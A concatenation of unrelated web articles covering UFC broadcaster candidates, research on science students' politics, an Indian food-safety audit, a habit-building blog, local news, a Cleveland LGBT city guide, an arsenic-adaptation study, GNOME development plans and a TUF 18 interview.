In a pre-UFC 207 media scrum, White announced that UFC 207 will be Goldberg's final broadcast with the company, per MMA Fighting's Ariel Helwani. Flo Combat's Jeremy Botter is reporting that sports talk show host Jim Rome is White's target, and that negotiations between them are ongoing.
Read on for more on Rome and the other candidates listed in this Dec. 22 article.
Jim Rome (CBS Sports Radio)
Past Affiliations: CBS Sports Network, Showtime, ESPN
The infamous sports talk show host may be the least qualified candidate on this rundown, but he is the only name that has been tied to the position publicly. In a recent episode of his podcast, Bellator convert Chael Sonnen — who has broken UFC-related news before — offhandedly mentioned a deal being on the table between Rome and the UFC.
“Is Jim Rome going to join Joe Rogan? Is he going to take that offer? Did I just say something that is not public information? Let's move on ... ”
Sonnen has been off on a lot of rumors, but this one could have legs. Rome is a close friend of recently promoted WME-IMG Co-President Mark Shapiro — a former ESPN exec who laid the groundwork for Jim Rome Is Burning — and he and Dana White go back a long ways as well.
But given Rome’s lack of MMA expertise and live broadcasting experience, on top of an often insufferable shtick, one can only hope that “The American Gangster” heard wrong.
Max Kellerman (HBO, ESPN)
Past Affiliations: None of Note
Kellerman might have a cushy new job on ESPN’s First Take, but it’s clear that that his heart lies in combat sports.
The longtime HBO color commentator obviously has more experience calling action in the ring, but unlike most boxing purists, is an avid supporter of MMA. Way back in 2007, Kellerman almost became a UFC broadcaster before a potential deal between HBO and the MMA leader fell through.
Perhaps most telling is the fact that Dana White — whose own combat sports journey began in boxing — sang the praises of Kellerman’s team at HBO when he mentioned the possibility of Rogan getting a new partner.
“HBO is very cocky and arrogant in their (boxing) production — but they deserve to be,” White told SportsNet.
Kellerman re-upped with HBO in 2015, but like the others on this list, it’s unclear if his contract would prevent him from pursuing a broadcasting gig elsewhere. For what it’s worth, HBO has partnered with WME-IMG on several projects in the past.
Mauro Ranallo (WWE, Glory Kickboxing )
Past Affiliations: Pride FC, Strikeforce, Elite XC, New Japan Pro Wrestling
The current SmackDown play-by-play man has vehemently denied rumors that he is leaving the pro wrestling leader, saying he has multiple years remaining on his WWE contract.
Even so, it’s not out of the realm of possibility that the UFC and WWE could work out a deal allowing the “Busiest Man in Combat Sports” to join Rogan on select pay-per-views. The competing sports entertainment brands have greatly improved their relationship in recent years, opening the doors for big names like Ronda Rousey and Brock Lesnar to do work for both.
If fighters can move back and forth, why not commentators like Ranallo?
Michael “The Voice” Schiavello (Legacy Fighting Alliance)
Past Affiliations: K-1, Dream, Invicta FC, King of the Cage, New Japan Pro Wrestling
Schiavello might not be a household name to most UFC fans, but he has been around the fight game for nearly two decades, carrying an MMA commentating resume that no one else on this list can rival outside of Ranallo.
Like his fellow combat sports compatriot, Schiavello is already tied up with full-time broadcasting duties, serving as the play-by-play man for MMA on AXS TV. The network plans to air 30 fight cards for the newly formed Legacy Fighting Alliance feeder league in 2017, making a potential dual role hard to juggle even if AXS didn’t have exclusive rights to “The Voice.”
With that said, the UFC could theoretically cut a check to pry anyone from an existing contract — particularly someone who already has chemistry with Rogan (see above).
Jim Ross (New Japan Pro Wrestling)
Past Affiliations: WWE, MMA Battlegrounds, Golden Boy Promotions
Good God almighty — the best broadcaster in the pro wrestling business switching over to the UFC?
J.R.’s MMA expertise is clearly lacking, and his commentating experience in the sport is limited to a small show back in 2014. With that said, Ross’ performance at “MMA Battlegrounds” was well-received, and his overall ability on the mic could be enough to make up for his knowledge gap — particularly alongside someone who knows MMA as well as Rogan.
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Will clearly perceives scientists as untrustworthy, their conclusions skewed by self-interest and preconceived notions. While this view is obviously self-serving—he really should check out the psychological notion of projection—it raises disturbing questions about whether science has become hopelessly politicized.
So are scientists—as conservatives suspect—more likely to be liberals? Recently published research suggests they are, but—contrary to the implication left by Will and his colleagues—this is not because political progressives are more intrinsically inclined than right-wingers to choose a scientific career.
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Rather, according to a research team led by Harvard University psychologist Christine Ma-Kellams, immersion in the world of science tends to shifts students' attitudes toward the left side of the political spectrum.
"Relative to those studying non-sciences, students in the sciences exhibited greater political liberalism across a variety of domains (including foreign policy, health care, and the economy) and a variety of social issues (gay marriage, affirmative action), as well as in general self-reported liberalism."
Specifically, they report adopting a scientific mindset makes one less likely to endorse a hierarchy-based ideology in which one group of people is considered superior to another—an attitude that has been strongly linked to political conservatism.
In the Journal of Social and Political Psychology, Ma-Kellams and her colleagues describe four studies that support their thesis. In the first, 196 students from a New England university revealed their ideological positions by responding to 18 statements expressing political opinions.
"Across domains," the researchers report, "those who are in scientific fields exhibited greater political liberalism compared to those in non-hard-scientific fields."
Importantly, this was only found for students in their third or fourth year of college. This strongly suggests that, rather than political liberals being attracted to science, it was the hands-on study that made the difference.
The second study featured 100 undergraduates, who expressed their views on three hot-button political issues (same-sex marriage, affirmative action, and the Affordable Care Act). They also completed the Social Dominance Orientation Scale, in which they expressed their level of agreement or disagreement with such statements as "Sometimes other groups must be kept in their place," and "In getting what you want, it is sometimes necessary to use force against other groups."
Consistent with the first study, the researchers found that "for those with significant exposure to their discipline (i.e., upperclassmen), studying science is associated with more liberal political attitudes." Furthermore, they found this was due to a lower level of support for the my-group-deserves-to-dominate positions outlined above.
Additional studies featuring Canadian students and a community sample from the Boston area came to the same conclusions.
"Relative to those studying non-sciences, students in the sciences exhibited greater political liberalism across a variety of domains (including foreign policy, health care, and the economy) and a variety of social issues (gay marriage, affirmative action), as well as in general self-reported liberalism," Ma-Kellams and her colleagues write.
This, they conclude, is the result of "science's emphasis on rationality, impartiality, fairness, progress, and the idea that we are to use these rational tools for the mutual benefit of all people in society."
In one sense, these results are something of a surprise. Given the fact the social sciences involve people and politics more directly, one might think the study of these disciplines would be more likely to shape minds in a more liberal direction. But these students were no more liberal than those majoring in disciplines having nothing to do with science.
Rather, to quote Ma-Kellams and her colleagues, "the same scientific ethos that serves to guide empirical inquiries" in physics or biology leads to rejection of the notion that certain social groups are superior and deserve to be dominant.
The Food Safety Standards Authority of India (FSSAI), responsible for regulating and monitoring food safety, has been rapped over ill-equipped food laboratories and for following poor testing standards.
An audit report (pdf) by the Comptroller and Auditor General of India (CAG) tabled in parliament on Dec. 19 has raised several concerns over clearances and testing of food, the lack of equipment, and a shortage of staff across various testing labs affiliated with the FSSAI. It has also questioned the lack of guidelines and procedures to regulate the use of certain food items. “The audit revealed systemic inefficiencies, including delays and deficiencies in the framing of various regulations and standards,” the CAG report said.
Established in 2011 under the Food Safety and Standard Act, 2006, the FSSAI is part of India’s ministry of health and family welfare. Its primary function is to lay down scientific standards for food and to regulate their manufacture, storage, distribution, sale, and import. It works through a network of state and referral food laboratories.
In its audit, the CAG scrutinised the FSSAI’s functioning between August 2011 and March 2016, looking into 53 districts and 20 state laboratories, along with facilities in eight ports.
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1. Write it Down
2. Break it Down
3. Take Action
Think back to an amazing performance you've seen recently. Did it ever cross your mind to ask the question how did this person get where they are when not that long ago mom and dad were changing his or her diapers? How did they do that?This is the question that I ask myself on a regular basis. How did they do that? About 10 years ago, I heard a professional speaker deliver an amazing speech, and thought to myself I'd love to be able to do that! I talked to the speaker after his speech and asked him how he did it. He told me about Toastmasters . 5 Years later, I finally mustered up the courage to join, and I now know how he did it, with practice and consistent feedback!Do you believe that Michael Jordan, Kobe Bryant, or LeBron James came out of the womb dunking basketballs? No! While they did have some God-given talents, where they took it relied on their own hard work. They came out of the womb unable to walk just like the rest of us. They started playing basketball, missed the entire hoop at first, then played more basketball. Then they refined their skills through great coaches and played more basketball. That's what it takes to get good, you have to take steps in the right direction each and every day. Don't be afraid to fail! Michael Jordan said it well, "I've missed over 9,000 shots in my career. I've lost almost 300 games. 26 times I've been trusted to take the game-winning shot and missed. I've failed over and over and over again in my life. And that is why I succeed."So how do you get started with a habit change? The first thing you want to do is to. The why is more important than what, because it is the why that will keep you going. Next, you need to take a small step in that direction. Make one small change, and only one. This allows you to focus on your new habit, and make it into a habit.Once your habit is established, then you can build another one. These layer on top of each other, and function much like compounding interest, illustration on that below.Small changes started early on lead to huge growth! Most growth, in the beginning, is barely perceptible. Momentum builds up little by little, and then the habits allow the growth to take off and it develops a life of its own. This is where the "overnight" successes come from, by the time the public has recognized their efforts, they have taken so many little steps and have built up so much momentum that they are unstoppable.So how do I recommend making these changes? First of all, Keep it Simple Stupid!!! Habit change is not that complicated, but it can be difficult if you do not follow the proper method.Here is what I've found to work for me.Dream up what you want to do. Ask yourself why do you want to do it? Write those two answers down.Break down your long term dreams down into phases. What do you think you need to do in order to achieve these? What habits do you need to create?Any plan is just a plan without action. Figure out one small thing that you can change today that will be a baby step towards what you want to accomplish. DO NOT go overboard on this! Focus on doing something so minor it hardly seems worth your time. This is your 1% step, take 10 minutes every single day, put it on your calendar, and do it. Try to identify a trigger for this with one of your established habits like I'll do this right after I eat breakfast every morning, that will make it easier to integrate into your routine.Do not move on until this is something you do without thinking about it! Once you have established the habit, then you can add another step. I suggest putting a reminder on your calendar at the beginning of each week to see if you can add in another step, it's too easy to get distracted with life otherwise. Keep walking in the right direction long enough, take baby steps, make enough little changes, and before you know it you will be at your destination!I hope you've enjoyed this article! If you want more like this don't forget to join our community by clicking one of the follow icons or signing up for our newsletter using the forms on this page!For a deep dive on how the brain develops and how to maximize your time while developing new talents, I highly recommend reading the book The Talent Code: Greatness Isn't Born. It's Grown. Here's How. - Daniel Coyle . This one was a game changer for me, it really reinforced how the brain actually rewires itself when practicing in a very focused manner with lots of feedback.
Paul J. Kouroyen, 33, pleaded not guilty today in Lynn District Court on charges of assault and battery with a dangerous weapon, a shod foot, following his arrest by Lynn police around 7 p.m. Thursday.
Paul J. Kouroyen (Transit Police)
Bail was set at $1,000 cash. He was also ordered to avoid the driver, identified in court papers as Baulo Rodriguez, and a witness who identified him to police.
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According to a Transit Police report, Kouroyen boarded the Route 455 bus when it arrived in Central Square in Lynn. Kouroyen allegedly asked the driver if he was the person behind the wheel when the bus drove away from Wonderland station and refused to stop even after Kouroyen pounded on it in hopes of getting it to stop, Transit Police said.
Kouroyen “asked if he was the driver of the bus that left him at Wonderland Station. When he replied ‘yes’ Kouroyen began punching him,’’ Transit Police said in the report. “He tried to defend himself, but during the struggle Kouroyen kicked him in the left shin.’’
Kouroyen fled as Lynn police arrived, but they quickly located him nearby and arrested him after he was positively identified as the attacker, police said.
The 50-year-old driver was taken to Union Hospital in Lynn for treatment. He sustained bruises to his left and right cheek, lacerations on his left leg and on his fingers, Transit Police said.
Biography [ edit ]
Herdt is a gay activist[1] who has taught at Stanford University, the University of Chicago, the University of Amsterdam, and the University of Washington. In 2000, Herdt cofounded the Institute on Sexuality, Social Inequality and Health that studies all forms of sexuality and discrimination that affect community building, sexual culture and sexual health.
He specializes in sexuality and gender identity-based cultures. His studies of the 'Sambia' people — a pseudonym he created — of Papua New Guinea analyzes how culture and society create sexual meanings and practices. The Sambia are unique in that in the past they require males to undergo three specific sexual phases in their lives. Boys must provide sexual service to young men, adolescents must then receive oral sex from boys, and males enter adulthood by becoming heterosexual.[2]
In the United States, Herdt has also studied adolescents and their families, the emergence of HIV and gay culture, and the role that social policy plays in sexual health.
He has written and edited some 30 books, and more than 100 scientific papers. He is also the general editor of Worlds of Desire, and an associate editor of Journal of Culture, Sexuality, and Health, Journal of Men and Masculinities, and Transaction: Journal of Social Science and Modern Society.[3]
Awards [ edit ]
Herdt is the recipient of various awards and research grants, including:
Books [ edit ]
2014 Critical Terms for the Study of Gender editor with Catharine R. Stimpson. University of Chicago Press
editor with Catharine R. Stimpson. University of Chicago Press 2007 21st Century Sexualities: Contemporary Issues in Health, Education, and Rights, editor with Cymene Howe. Routledge
editor with Cymene Howe. Routledge 2006 Sexual Inequalities and Social Justice, editor with Niels Teunis. University of California Press
editor with Niels Teunis. University of California Press 2001 Children of Horizons: how gay and lesbian teens are leading a new way out of the closet, editor with author Andrew Boxer. Beacon Press
editor with author Andrew Boxer. Beacon Press 2001 Secrecy and Cultural Reality. University of Michigan Press
University of Michigan Press 2000 Something to Tell You: The Road Families Travel When a Child Is Gay. Columbia University Press
Columbia University Press 1999 Sambia Sexual Culture: Essays from the Field. University of Chicago Press
University of Chicago Press 1998 Rituals of Manhood, edited by Gilbert Herdt. Transaction Publishers
edited by Gilbert Herdt. Transaction Publishers 1997 Sexual Cultures and Migration in the Era of AIDS: Anthropological and Demographic Perspectives (International Studies in Demography). Oxford University Press
Oxford University Press 1993 Gay Culture In America: Essays From the Field. Beacon Press
Beacon Press 1987 The Sambia: Ritual and Gender in New Guinea. Harcourt Brace Jovanovich.
Harcourt Brace Jovanovich. 1984 Ritualized Homosexuality in Melanesia (Studies in Melanesian Anthropology), editor Gilbert Herdt. University of California Press
by BRIAN NADIG
Pace suburban bus service plans to launch in 2017 an arterial bus rapid transit line on Milwaukee Avenue between the Jefferson Park CTA Terminal and the Golf Mill Shopping Center in Niles which will feature technology that can alter the timing of traffic signals at any time to help buses stay on schedule.
Currently that stretch of Milwaukee is served by Pace Route 270, which has stops every couple of blocks, but under the recently named “Pulse” limited-stop program, pickups and dropoffs will be made every half-mile at designated stops that will be built next year along sidewalks and parkways, said PACE spokesman Patrick Wilmot. “We are estimating, conservatively, a 10 to 15 percent” reduction in travel time, he said.
Route 270 service, with its frequent stops, will continue after the Pulse Milwaukee Line starts, Wilmot said. Although the Route 270 schedule is expected to be cut back in 2017, the total number of daily trips offered by PACE between Jefferson Park and Golf Mill will increase with the addition of the Pulse service, he said.
The Pulse line will have eight stops in each direction between Jefferson Park and Golf Mill. In Chicago those stops will be at Central Avenue, Austin Avenue/Ardmore Avenue and Haft Street/Highland Avenue, and in Niles at Touhy Avenue, Harlem Avenue/Howard Street, Oakton Street/Oak Mill Mall, Main Street and Dempster Street.
The stops will feature a shelter, heat lamps, landscaping, railings and a pillar-shaped sign that will include the “real time” arrival for the next bus, Wilmot said. The main waiting area of each bus stop will be on a rise in order to facilitate the boarding process, he said.
The Pulse express line will utilize the existing lanes of traffic, and the bus stops will not encroach onto the street, Wilmot said. The state Department of Transportation recently made signalization improvements to the traffic lights along the route in anticipation of the project, he said.
New buses are being purchased for the project, and they will feature technology that will be linked with the computers which regulate the traffic signals on Milwaukee.
When the buses are running late, a request to lengthen an upcoming green light or to shorten a red light will be transmitted to transportation department’s control center, and approval will depend on whether the change would have too much of an adverse effect on the area’s congestion, Wilmot said. Under the Traffic Signal Priority System, the lights can be lengthened or shorted by up to 10 seconds to accommodate a Pulse bus, he said.
About $13 million in federal funds have been earmarked for construction costs and bus purchases for the Pulse program. The buses will offer WiFi and cell phone charging stations.
Rapid transit bus service has been successful in other cities, and eventually Pace hopes to operate about two dozen Pulse lines in the Chicago area, Wilmot said. The Jefferson Park CTA station was chosen to be part of the agency’s first Pulse line because the station offers several public transportation options, including Metra and CTA Blue Line trains, he said.
The UI I saw for the Alpha was about as simple as it could get: a black screen with the Steam Logo, with large, sans-serif type underneath for menu options: launching Steam and messing with settings. The settings menu will let you exit out to the Windows desktop, if you want, but otherwise you'll never see the Windows 8 Metro interface. You'll just launch straight into Steam Big Picture. Everything will be controllable with a wireless Xbox 360 controller, included with the console.
The Alienware Alpha measures a compact 7x7x2 inches. It's noticeably more compact than either the PlayStation 4 or the Xbox One, and potentially more powerful—it's hard to directly compare the Alpha's 4GB of DDR3 memory, i3 processor and custom Nvidia Maxwell GPU (with 2GB GDDR5) to, say, the PlayStation 4's 8GB of unified GDDR5 and custom AMD CPU. The Alpha will have to deal with Windows overhead that the consoles don't have. Still, Alienware says its goal is to run today's biggest games and the demanding games coming out post-launch at a reliable 1080p, 60fps.
To that end, I'm surprised by how open Alienware is being with the system. Everything, with the exception of the customized Nvidia GPU, will be user-replaceable or upgradeable. I asked Alienware if it would be cheaper to buy those parts separately as an end-user or to upgrade through them, and they said frankly they didn't know, this far out from launch. But if you want to buy your own RAM or SSD or a new CPU, you'll be able to lift off the entire top of the system and replace its parts.
The same goes for fiddling with Windows settings. This is a PC, if you want it to be. For Alienware, first and foremost, it's a Steam gaming console for the living room that happens to run on Windows. The rest of the year leading up to a holiday release will go towards polishing the custom UI for easy Windows settings (think choosing your Internet input, handling the HDMI input/output, etc.) and launching Steam Big Picture. Alienware didn't want to wait for Valve to finish SteamOS, but they told me they're completely committed to the platform. As soon as Valve does a full launch for the OS and the Steam controller, a Linux Alpha will be there.
The most surprising part of my demo of the Alpha was when Alienware asked me what I thought most PC gamers wanted. Would they be happy with a PC box that shipped with a controller, even if it, of course, supported USB keyboards and mice? How many PC gamers are eager to have a small form-factor PC in the living room?
0. 2/20/2012 – Here/Queer Call for Submissions, by Riese
1. 3/02/2012 – Queer Girl City Guide: Montreal, Canada, by Sid
2. 3/05/2012 – Playlist: Here/Queer, by Riese
3. 3/05/2012 – Queer Girl City Guide: Portland, Oregon, by Lesbians in PDX
4. 3/07/2012 – Queer Girl City Guide: Brighton, United Kingdom, by Sarah Magdalena
5. 3/07/2012 – Oh But To Be A Queer in Sicily, by Jenn
6. 3/08/2012 – City Guide: Seattle, by Marley
7. 3/11/2012 – City Guide: Washington DC, by Keena
8. 3/13/2012 – Here/Queer: Sydney Mardi Gras Is On Your To-Do List, by Crystal
9. 3/14/2012 – Queer Girl City Guide: Spokane, Washington, by Ana
10. 3/15/2012 – Queer Girl City Guide: Cleveland, Ohio, by Lora
Have you seen the 30 Rock episode “Flee to the Cleve,” in which Liz Lemon almost moves to Cleveland because everyone is so friendly? Well, it’s pretty much like that. Clevelanders are genuine, working-class, down-to-earth people. You probably won’t get Portlandia-like waves on the sidewalk, but you’ll definitely get some hardcore Midwestern hospitality. Clevelanders that live in the city and inner-ring suburbs are fiercely loyal to (and sometimes a little defensive of) this rust-belt city that has seen its fair share of ups and downs. Visitors or recent transplants can expect people they encounter to be psyched to share their favorite spots around town and general love for the city.
I’ve lived in the Cleveland area for nearly all of my 25 years. This may not be known as a gay mecca, but we recently surprised everyone when we were chosen to be the host of the 2014 Gay Games, so things are about to get real gay, real quick.
Drinking and Dancing
Bounce (2814 Detroit Avenue, Cleveland) is the go-to gay dance club in Cleveland. It’s your best bet for a diverse taste of the Cleveland gay scene: shirtless gay boys, sporty dykes, and everyone in between. They have drag shows every weekend and dancing afterwards. Go to the bathroom before you leave your house.
Church Bar (13751 Madison Ave, Lakewood) just opened last year and is a great add to Cleveland’s queer bar scene. It’s really just a great neighborhood bar with a splash of gay: cozy and laid-back with friendly bartenders.
Women’s Happy Hour (WH2) takes over a different bar once a month and brings out a multi-generational crowd to their events.
If you have the time and the means to take the 45-minute drive to Akron, definitely check out Square and Thursdays (306 East Exchange Street, Akron).
Snack Time
Happy Dog (5801 Detroit Avenue, Detroit-Shoreway) — Hot dogs, not-dogs, 50 gourmet toppings, and tater tots. BOOM.
Tommy’s (1824 Coventry Road, Cleveland Heights) — A Cleveland vegetarian institution. Make sure you try their milkshakes!
Felice
Latitude 41 (5712 Detroit Avenue, Detroit-Shoreway) — Lesbian-owned cafe/diner
Melt (Cleveland Heights and Lakewood locations) — Not your mama’s grilled cheese. Unless you get The Kindergartner.
West Side Market (1979 W 25th St., Ohio City) — Indoor market that’s celebrating its 100th anniversary this year. They have every food-thing you can imagine.
Nate’s Deli (4116 Lorain Avenue, Ohio City) — Adorable family-owned middle eastern eatery
Lilly’s Handmade Chocolates (761 Starkweather Ave, Tremont)
Caffeine + Cute Baristas
You need coffee and you definitely need a nice place to be. All of these places could be your place:
Phoenix Coffee (Downtown, Cleveland Heights, and South Euclid locations)
The Root Cafe (15118 Detroit Ave, Lakewood)
Gypsy Bean (6425 Detroit Avenue, Detroit-Shoreway)
BonBon (2549 Lorain Avenue, Ohio City)
Lucky’s Cafe (777 Starkweather Avenue, Tremont) — Great brunch, too!
For The Love Of The Game
Oof, Cleveland sports. A story of heartbreak, barely mended hearts, followed by more heartbreak. If you’re into that kind of thing, check out the Browns (football), Indians (baseball), Cavs (basketball), and Monsters (hockey). Otherwise…
Burning River Roller Girls — Roller Derby!
Cleveland Out and About — LGBT Outdoor Recreation Group
Front Runners NEO — LGBT Running Group
North Coast Softball — LGBT Softball League
Your Friendly Neighborhood Colleges
Case Western Reserve University’s LGBT Center — The adorably awkward pictures on their website do not do justice to the adorable awkwardness of Case students.
Cleveland State University’s GSA
Nearby Oberlin College is a queer oasis and is definitely worth a visit if you have an hour to spare to drive through some cornfields. Drag ball, women’s rugby, etc. etc.
HomOrganizations
The LGBT Center of Greater Cleveland (6600 Detroit Ave., Detroit-Shoreway) — Lots of great youth programs and support groups
TransFamily — Transgender support groups
Parents, Families and Friends of Lesbians and Gays (PFLAG) Cleveland
Planned Parenthood
MetroHealth LGBT Pride Clinic
Free Clinic
Cleveland Stonewall Democrats
Equality Ohio
HRC Cleveland
Colors of Cleveland Pride — Providing outreach services to all communities of color in an effort to bridge the racial divisiveness locally and nationally within these communities.
Pride!
I’ll be frank here: Gay Pride in Cleveland could use a bit of a face-lift. Still, it’s awesome and heart-warming and endearing to see so many queers doing their queer thing in Downtown Cleveland. The take-home is that you should volunteer to make Pride awesomer if you have some time on your hands.
Les Artistes
Playhouse Square (1519 Euclid Avenue) — touring Broadway shows, comedians, and musicians
Cleveland Public Theater (6415 Detroit Avenue, Detroit-Shoreway) — locally produced, avant-garde goodness, often with LGBT themes
Cleveland Playhouse (1407 Euclid Avenue, Downtown)
Dance Cleveland
Verb Ballet
Big Dog Theater (2781 Euclid Heights Blvd, Cleveland Heights) — comedy theater
SPACES (2220 Superior Viaduct)
The Cleveland Cinematheque — Classic, independent, and foreign films
We Built This City On Rock and Roll
Rock and Roll Hall of Fame (1100 Rock and Roll Boulevard, Downtown)
Beachland Ballroom and Tavern (15711 Waterloo Rd.)
Grog Shop (2785 Euclid Heights Boulevard, Cleveland Heights)
Bela Dubby (13321 Madison Avenue, Lakewood)
Big Gigs
Cleveland International Film Festival — not an LGBT event in itself, but it definitely brings out the gays every March and features a bunch of queer films
Annual Womyn’s Variety Show — Every February
Dancin in the Streets — Block party and fundraiser for AIDS Taskforce of Greater Cleveland
Cleveland LGBT Events Calendar
Dyke-a-dos
Crazy Mullets East and west side locations: Cleveland Heights (1830 Coventry Road) and Lakewood (14807 Detroit Avenue).
Mo Money
Here is the thing: Cleveland is so so affordable. PBR Tall Boys cost $2.50. You will take your lady friend out to a fancy schmancy dinner at your favorite organic, locavore restaurant and (almost) feel bad for paying so little. Super-nice apartments rent for $700/month.
The Law and You
Cleveland is a progressive town stuck in a swing-state. While gay marriage isn’t legal in Ohio (in fact, there’s a constitutional amendment against it), the City of Cleveland and Cleveland Heights have domestic partner registries and the City of Cleveland and Cuyahoga County offer domestic partner benefits. Work with what you got, right?
Parks and Recreation
One of Cleveland’s nicknames is “The Forest City,” largely because of the networked park system that surrounds the city referred to as the Emerald Necklace, maintained by the Cleveland Metroparks. You won’t have to travel far to find yourself in a green oasis.
There are also a lot of amazing urban parks, especially along the shores of Lake Erie.
Edgewater Park (1200 West 76th St.) — It’s a beach! It’s a park! It’s nestled between two gayborhoods and Lake Erie, you can see downtown, bring your dog and have a cookout! Summersummerfuntime!
Lakeview Cemetery (12316 Euclid Avenue, Little Italy) — Presidents are buried here!
Wade Oval (Wade Oval and East Boulevard, University Circle) — Nice big greenspace in the middle of a bunch of Cleveland’s museums that hosts the amazing Wade Oval Wednesdays every week from June to August
Wendy Park (2800 Whiskey Island Drive) — A hidden gem with great views of Downtown and very popular volleyball leagues.
Mentor Headlands State Park — This is a 40-minute car ride from the city, but the expansive beaches make it totally worth it.
Etc.
Gay People’s Chronicle
Glorious Gay Ladies Local Food Cooking Club — Do you like gay ladies? Local food? Cooking? Come hang out! Monthly-ish gathering organized by Elyse, Jess, and a bunch of other amazing ladies you should probably be friends with. Email ggllfcc [at] gmail [dot] com
This is just a taste of what Cleveland has to offer. If you’re looking to leave no rock unturned, definitely check out New to Cleveland by Justin Glanville.
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Police closed a Kaneohe roadway for three hours today after a caller said he had placed fuel cans that might blow up at a health center near Windward Community College.
The man made the call at about 12:06 p.m. from a phone with a blocked caller ID to the Windward Health Center, located just above the Kaneohe District Park, police said.
The caller said he placed two diesel fuel cans near the Health Center driveway in the sun, and said they could possibly blow up.
Police determined that because of the call and the possibility of it being an explosive device, it was best to shut down the mauka-bound lanes of Keaahala Road.
Police secured the area, and waited for the bomb squad to assess the contents of the can.
The bomb squad determined there was possibly some diesel fuel in the cans, but that they were not an immediate threat to anyone in the immediate area, Lt. Channing Hawkins of the Kaneohe station said.
A city contractor was called to remove the cans.
The roadway was reopened at about 3:15 p.m.
Dirk P. Hassinger Yes. We will make a web form for it. Procedure will be easy.
Press Release Here at Reality Pump Studios, we are excited to announce the completion and upcoming release of our dark, bloody pirate epic, Vendetta: Curse of Raven’s Cry.
After an almost seven year-long cursed development, we are finally ready to unleash Vendetta: Curse of Raven’s Cry as it was meant to be seen and played. Development for Vendetta began way back in 2008, and has seen every game pitfall imaginable. Even Christopher himself, actor Mark Strohman had an infection that traveled into his brain, almost landing in Davy Jones’ Locker himself during MoCap shootings. It’s been a long and wired journey, but after all the time and all the setbacks, we are proud to say that the game is close to be finished and we launch the new website today!
For new details, new screens and impressions please visit www.vendetta-game.com
There's life in the old dog yet - stay tuned! Vendetta: Curse of Raven’s Cry will be available for Windows, Linux, Steam OS and Mac OSX. 50+ hours of game play, over 360 characters, more than 500 quests, 120 minutes of cinematics, authentic weapons, locations and ships, a free-flowing melee combat system and intense naval battle action await you in this sprawling role playing adventure. Every choice or deal has a price, and yours will dictate your journey, and your fate.
While it may not be the murder weapon it once was (probably a good thing!), arsenic still poses a significant health risk to millions of people around the world who consume groundwater containing high concentrations of the element, which has a tendency to leach into aquifers from Earth’s volcanic crust.
At high doses, the metal can cause vomiting, convulsions and eventually results in coma and death. Low exposures over an extended period of time, meanwhile, has been linked to liver and cardiovascular diseases, diabetes, skin lesions and cancer.
While there is no treatment for chronic exposure to arsenic, there could be a genetic clue to helping our bodies better cope with the substance.
Researchers from Sweden say they have identified a population in Argentina that has evolved a genetic mutation, which enables them to naturally break down toxic quantities of arsenic and potentially avoid some of its nasty side effects.
“They metabolise arsenic faster and to a less toxic form compared to an American or Westerner,” the study's lead author, Karin Broberg, a geneticist at Karolinska Institutet, a medical university in Sweden, told NPR. “This is the first evidence of human adaptation to a toxic chemical.”
The population in question resides in San Antonio de los Cobres - a village in the far north of the country, nestled in the Andes some 4,000 metres above sea level. Importantly, it has drinking water with concentrations of arsenic 20 times greater than those recommended by the World Health Organisation.
Mummies found in the region dating back to 7,000 years ago have traces of arsenic in their hair, which led the researchers to believe this particular village had been living with arsenic-contaminated water for many successive generations. They were interested in whether this multigenerational exposure had resulted in any genetic adaptations.
The research team performed a genome wide survey on a group of 124 Andean women, and screened for the ability to metabolise arsenic - this was determined by measuring the levels in their urine. The study uncovered a key set of mutations in a gene known as AS3MT, which helps our bodies process arsenic into a less toxic form.
The researchers compared the genomes of the Argentinian women to genomes from populations in Colombia and Peru, where arsenic levels in the water are much lower. While the mutations existed in these populations, they occurred with much less frequency.
As NPR reports, “Broberg isn't sure yet how the genetic changes work. But she thinks they may increase the amount of AS3MT that's made in the liver. So more metal gets neutralised and flushed out in the urine.”
And while the exact date of the selective pressure that led to the adaptation is unknown, the researchers say it probably began around the “date of settlement” between 11,000 and 7,000 years ago.
The team’s results have been published in the journal Molecular Biology and Evolution.
Every new GNOME release, however, actually just an excuse for the next one. There’s always room for improvements and the work never ends. I personally like the beginning of new release cycles so that I can plan ahead what I’ll probably work on. And why not share it?
Calendar
Oh, poor Calendar. Received so little attention for 3.18 release… fear no more! Calendar will receive it’s well deserved love. Here’s what’ll happen:
Calendar theme will get some attention. Minor details will be fixed.
Every single struggle pointed by Gina’s usability tests is going to be fixed.
We’ll finally have Drag n’ Drop support!
Hopefully, Week view will be ready.
A new view will be available too – but that’s a surprise! 😉
Much like To Do, Calendar will receive some error reporting UI too.
To Do
The new kid in town will also receive some love. Since it’s very fresh and young, there’s plenty of ideas to try here:
A new flow grid view will land (see Google Keep’s grid view to have an idea).
Support for subtasks (and the many cool things we can do with that).
Full GOA support (actually depends on Evolution-Data-Server work).
Nautilus
I started working on Nautilus as part of my Summer of Code internship, and – guess what – I won’t abbandon it! Such a core component of GNOME stack must receive as much attention as it possibly can. For this cycle:
Improve the way we do bookmarking on Nautilus (possibly will reflect on Gtk+ too).
Rework the search UI.
Remove the duplicated GtkPlacesView code.
Many bugfixes.
Gtk+
Together with Nautilus, I managed to inject some code in Gtk+ as part of my GSoC internship too. And I just realized that I’m the official(?) maintainer of a Gtk+ widget! As such, that’s what I’ll do on Gtk+:
Show the free space of local disks, as shown in the mockups.
Cleanup & document the code.
Expose it as a public widget (and also remove the duplicated code from Nautilus).
Improve the places sidebar.
I’m also hoping to work on smaller things with Music and Maps. And last week, I made my first patches for Grilo! Stay tuned for updates on that.
There’s not much to say besides that. I sincerely hope you guys enjoy using the new GNOME 3.18 release, just as much as I enjoyed working on it! See ya!
The upset flipped the house upside-down and ignited a fire under an already emotional Ronda Rousey. Now Pena returns in the latest edition of our weekly TUF 18 Q&A to explain just how bad things got, both inside the house and between the coaches.
If you have anything you'd like to ask the victorious "Venezuelan Vixen," please write it in the comments below and she'll be sure to answer you next week. Rec'd comments will get first priority. Now let's hear from Wednesday night's winner.
Al-Shatti: First off, I have to ask you about the fight. That room was so loud, and it just exploded after she tapped. You beat the favorite. Could you even comprehend it?
Pena: If I could've shoved pie in their faces, I would've done it! (Laughs.) I just wanted to be like, ‘Well you look stupid now, don't you?!' I wanted to shout out from the rooftops, but I couldn't do that. I'm not one of those people to rub it in your face. I was pretty calm about it. But at the same time it was a good fight. She dominated the first round, so I give it to her. She did a good job.
Al-Shatti: Both Ronda Rousey and Shayna Baszler seemed pretty dismissive towards the fight beforehand. Did you get that sense from them?
Pena: Definitely. I could feel the arrogance in the air. I could feel how confident they all were as a team. Everybody already knew they had it in the bag, including my own team. Nobody from my own team thought I was going to win. Nobody believed in me.
